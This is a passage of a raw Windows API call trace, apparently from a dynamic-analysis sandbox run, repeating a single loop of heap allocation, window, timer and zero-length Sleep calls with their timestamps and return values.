hHeap=0x790000) returned 1 [0033.317] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.317] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.317] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.317] timeGetTime () returned 0x11435a1 [0033.317] Sleep (dwMilliseconds=0x0) [0033.317] GetProcessHeap () returned 0x790000 [0033.317] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.317] GetProcessHeap () returned 0x790000 [0033.317] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.317] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.317] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.317] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.317] timeGetTime () returned 0x11435a1 [0033.317] Sleep (dwMilliseconds=0x0) [0033.317] GetProcessHeap () returned 0x790000 [0033.317] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.317] GetProcessHeap () returned 0x790000 [0033.317] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.317] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.317] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.317] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.317] timeGetTime () returned 0x11435a1 [0033.317] Sleep (dwMilliseconds=0x0) [0033.318] GetProcessHeap () returned 0x790000 [0033.318] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.318] GetProcessHeap () returned 0x790000 [0033.318] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.318] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.318] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.318] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.318] timeGetTime () returned 0x11435a1 [0033.318] Sleep (dwMilliseconds=0x0) [0033.318] GetProcessHeap () returned 0x790000 [0033.318] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.318] GetProcessHeap () returned 0x790000 [0033.318] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.318] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.318] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.318] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.318] timeGetTime () returned 0x11435a1 [0033.318] Sleep (dwMilliseconds=0x0) [0033.318] GetProcessHeap () returned 0x790000 [0033.318] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.318] GetProcessHeap () returned 0x790000 [0033.318] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.318] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.318] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.318] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.318] timeGetTime () returned 0x11435a1 [0033.318] Sleep (dwMilliseconds=0x0) [0033.318] GetProcessHeap () returned 0x790000 [0033.318] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.318] GetProcessHeap () returned 0x790000 [0033.318] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.318] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.318] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.318] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.318] timeGetTime () returned 0x11435a1 [0033.318] Sleep (dwMilliseconds=0x0) [0033.318] GetProcessHeap () returned 0x790000 [0033.319] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.319] GetProcessHeap () returned 0x790000 [0033.319] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.319] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.319] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.319] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.319] timeGetTime () returned 0x11435a1 [0033.319] Sleep (dwMilliseconds=0x0) [0033.319] GetProcessHeap () returned 0x790000 [0033.319] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.319] GetProcessHeap () returned 0x790000 [0033.319] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.319] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.319] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.319] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.319] timeGetTime () returned 0x11435a1 [0033.319] Sleep (dwMilliseconds=0x0) [0033.319] GetProcessHeap () returned 0x790000 [0033.319] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.319] GetProcessHeap () returned 0x790000 [0033.319] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.319] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.319] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.319] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.319] timeGetTime () returned 0x11435a1 [0033.319] Sleep (dwMilliseconds=0x0) [0033.319] GetProcessHeap () returned 0x790000 [0033.319] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.319] GetProcessHeap () returned 0x790000 [0033.319] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.319] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.319] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.319] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.319] timeGetTime () returned 0x11435a1 [0033.319] Sleep (dwMilliseconds=0x0) [0033.319] GetProcessHeap () returned 0x790000 [0033.320] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.320] GetProcessHeap () returned 0x790000 [0033.320] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.320] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.320] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.320] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.320] timeGetTime () returned 0x11435a1 [0033.320] Sleep (dwMilliseconds=0x0) [0033.320] GetProcessHeap () returned 0x790000 [0033.320] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.320] GetProcessHeap () returned 0x790000 [0033.320] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.320] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.320] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.320] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.320] timeGetTime () returned 0x11435a1 [0033.320] Sleep (dwMilliseconds=0x0) [0033.320] GetProcessHeap () returned 0x790000 [0033.320] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.320] GetProcessHeap () returned 0x790000 [0033.320] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.320] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.320] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.320] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.320] timeGetTime () returned 0x11435a1 [0033.320] Sleep (dwMilliseconds=0x0) [0033.320] GetProcessHeap () returned 0x790000 [0033.320] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.320] GetProcessHeap () returned 0x790000 [0033.320] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.320] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.320] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.320] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.320] timeGetTime () returned 0x11435a1 [0033.320] Sleep (dwMilliseconds=0x0) [0033.320] GetProcessHeap () returned 0x790000 [0033.320] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.321] GetProcessHeap () returned 0x790000 [0033.321] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.321] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.321] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.321] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.321] timeGetTime () returned 0x11435a1 [0033.321] Sleep (dwMilliseconds=0x0) [0033.321] GetProcessHeap () returned 0x790000 [0033.321] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.321] GetProcessHeap () returned 0x790000 [0033.321] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.321] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.321] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.321] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.321] timeGetTime () returned 0x11435a1 [0033.321] Sleep (dwMilliseconds=0x0) [0033.321] GetProcessHeap () returned 0x790000 [0033.321] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.321] GetProcessHeap () returned 0x790000 [0033.321] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.321] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.321] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.321] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.321] timeGetTime () returned 0x11435a1 [0033.321] Sleep (dwMilliseconds=0x0) [0033.321] GetProcessHeap () returned 0x790000 [0033.321] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.321] GetProcessHeap () returned 0x790000 [0033.321] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.321] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.321] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.321] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.321] timeGetTime () returned 0x11435a1 [0033.321] Sleep (dwMilliseconds=0x0) [0033.321] GetProcessHeap () returned 0x790000 [0033.322] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.322] GetProcessHeap () returned 0x790000 [0033.322] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.322] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.322] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.322] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.322] timeGetTime () returned 0x11435a1 [0033.322] Sleep (dwMilliseconds=0x0) [0033.322] GetProcessHeap () returned 0x790000 [0033.322] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.322] GetProcessHeap () returned 0x790000 [0033.322] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.322] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.322] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.322] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.322] timeGetTime () returned 0x11435a1 [0033.322] Sleep (dwMilliseconds=0x0) [0033.322] GetProcessHeap () returned 0x790000 [0033.322] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.322] GetProcessHeap () returned 0x790000 [0033.322] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.322] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.322] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.322] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.322] timeGetTime () returned 0x11435a1 [0033.322] Sleep (dwMilliseconds=0x0) [0033.322] GetProcessHeap () returned 0x790000 [0033.322] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.322] GetProcessHeap () returned 0x790000 [0033.322] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.322] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.322] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.322] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.322] timeGetTime () returned 0x11435a1 [0033.322] Sleep (dwMilliseconds=0x0) [0033.322] GetProcessHeap () returned 0x790000 [0033.322] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.323] GetProcessHeap () returned 0x790000 [0033.323] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.323] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.323] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.323] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.323] timeGetTime () returned 0x11435a1 [0033.323] Sleep (dwMilliseconds=0x0) [0033.323] GetProcessHeap () returned 0x790000 [0033.323] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.323] GetProcessHeap () returned 0x790000 [0033.323] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.323] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.323] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.323] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.323] timeGetTime () returned 0x11435a1 [0033.323] Sleep (dwMilliseconds=0x0) [0033.323] GetProcessHeap () returned 0x790000 [0033.323] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.323] GetProcessHeap () returned 0x790000 [0033.323] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.323] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.323] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.323] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.323] timeGetTime () returned 0x11435a1 [0033.323] Sleep (dwMilliseconds=0x0) [0033.323] GetProcessHeap () returned 0x790000 [0033.323] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.323] GetProcessHeap () returned 0x790000 [0033.323] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.323] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.323] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.323] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.323] timeGetTime () returned 0x11435a1 [0033.323] Sleep (dwMilliseconds=0x0) [0033.323] GetProcessHeap () returned 0x790000 [0033.323] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.323] GetProcessHeap () returned 0x790000 [0033.324] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.324] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.324] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.324] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.324] timeGetTime () returned 0x11435a1 [0033.324] Sleep (dwMilliseconds=0x0) [0033.324] GetProcessHeap () returned 0x790000 [0033.324] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.324] GetProcessHeap () returned 0x790000 [0033.324] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.324] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.324] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.324] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.324] timeGetTime () returned 0x11435a1 [0033.324] Sleep (dwMilliseconds=0x0) [0033.324] GetProcessHeap () returned 0x790000 [0033.324] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.324] GetProcessHeap () returned 0x790000 [0033.324] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.324] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.324] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.324] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.324] timeGetTime () returned 0x11435a1 [0033.324] Sleep (dwMilliseconds=0x0) [0033.324] GetProcessHeap () returned 0x790000 [0033.324] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.324] GetProcessHeap () returned 0x790000 [0033.324] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.324] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.324] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.324] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.324] timeGetTime () returned 0x11435a1 [0033.324] Sleep (dwMilliseconds=0x0) [0033.324] GetProcessHeap () returned 0x790000 [0033.324] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.324] GetProcessHeap () returned 0x790000 [0033.325] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.325] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.325] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.325] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.325] timeGetTime () returned 0x11435a1 [0033.325] Sleep (dwMilliseconds=0x0) [0033.325] GetProcessHeap () returned 0x790000 [0033.325] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.325] GetProcessHeap () returned 0x790000 [0033.325] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.325] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.325] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.325] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.325] timeGetTime () returned 0x11435a1 [0033.325] Sleep (dwMilliseconds=0x0) [0033.325] GetProcessHeap () returned 0x790000 [0033.325] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.325] GetProcessHeap () returned 0x790000 [0033.325] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.325] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.325] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.325] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.325] timeGetTime () returned 0x11435a1 [0033.325] Sleep (dwMilliseconds=0x0) [0033.325] GetProcessHeap () returned 0x790000 [0033.325] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.325] GetProcessHeap () returned 0x790000 [0033.325] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.325] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.325] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.325] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.325] timeGetTime () returned 0x11435a1 [0033.325] Sleep (dwMilliseconds=0x0) [0033.325] GetProcessHeap () returned 0x790000 [0033.325] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.325] GetProcessHeap () returned 0x790000 [0033.326] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.326] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.326] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.326] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.326] timeGetTime () returned 0x11435b0 [0033.326] Sleep (dwMilliseconds=0x0) [0033.326] GetProcessHeap () returned 0x790000 [0033.326] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.326] GetProcessHeap () returned 0x790000 [0033.326] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.326] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.326] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.326] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.326] timeGetTime () returned 0x11435b0 [0033.326] Sleep (dwMilliseconds=0x0) [0033.326] GetProcessHeap () returned 0x790000 [0033.326] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.326] GetProcessHeap () returned 0x790000 [0033.326] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.326] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.326] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.326] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.326] timeGetTime () returned 0x11435b0 [0033.326] Sleep (dwMilliseconds=0x0) [0033.326] GetProcessHeap () returned 0x790000 [0033.326] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.326] GetProcessHeap () returned 0x790000 [0033.326] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.326] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.326] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.326] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.326] timeGetTime () returned 0x11435b0 [0033.326] Sleep (dwMilliseconds=0x0) [0033.326] GetProcessHeap () returned 0x790000 [0033.326] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.326] GetProcessHeap () returned 0x790000 [0033.327] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.327] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.327] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.327] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.327] timeGetTime () returned 0x11435b0 [0033.327] Sleep (dwMilliseconds=0x0) [0033.327] GetProcessHeap () returned 0x790000 [0033.327] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.327] GetProcessHeap () returned 0x790000 [0033.327] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.327] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.327] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.327] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.327] timeGetTime () returned 0x11435b0 [0033.327] Sleep (dwMilliseconds=0x0) [0033.327] GetProcessHeap () returned 0x790000 [0033.327] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.327] GetProcessHeap () returned 0x790000 [0033.327] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.327] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.327] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.327] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.327] timeGetTime () returned 0x11435b0 [0033.327] Sleep (dwMilliseconds=0x0) [0033.327] GetProcessHeap () returned 0x790000 [0033.327] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.327] GetProcessHeap () returned 0x790000 [0033.327] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.327] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.327] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.327] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.327] timeGetTime () returned 0x11435b0 [0033.327] Sleep (dwMilliseconds=0x0) [0033.327] GetProcessHeap () returned 0x790000 [0033.327] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.327] GetProcessHeap () returned 0x790000 [0033.328] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.328] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.328] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.328] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.328] timeGetTime () returned 0x11435b0 [0033.328] Sleep (dwMilliseconds=0x0) [0033.328] GetProcessHeap () returned 0x790000 [0033.328] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.328] GetProcessHeap () returned 0x790000 [0033.328] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.328] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.328] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.328] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.328] timeGetTime () returned 0x11435b0 [0033.328] Sleep (dwMilliseconds=0x0) [0033.328] GetProcessHeap () returned 0x790000 [0033.328] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.328] GetProcessHeap () returned 0x790000 [0033.328] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.328] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.328] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.328] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.328] timeGetTime () returned 0x11435b0 [0033.328] Sleep (dwMilliseconds=0x0) [0033.328] GetProcessHeap () returned 0x790000 [0033.328] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.328] GetProcessHeap () returned 0x790000 [0033.328] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.328] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.328] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.328] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.328] timeGetTime () returned 0x11435b0 [0033.328] Sleep (dwMilliseconds=0x0) [0033.328] GetProcessHeap () returned 0x790000 [0033.328] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.328] GetProcessHeap () returned 0x790000 [0033.328] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.329] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.329] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.329] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.329] timeGetTime () returned 0x11435b0 [0033.329] Sleep (dwMilliseconds=0x0) [0033.329] GetProcessHeap () returned 0x790000 [0033.329] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.329] GetProcessHeap () returned 0x790000 [0033.329] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.329] 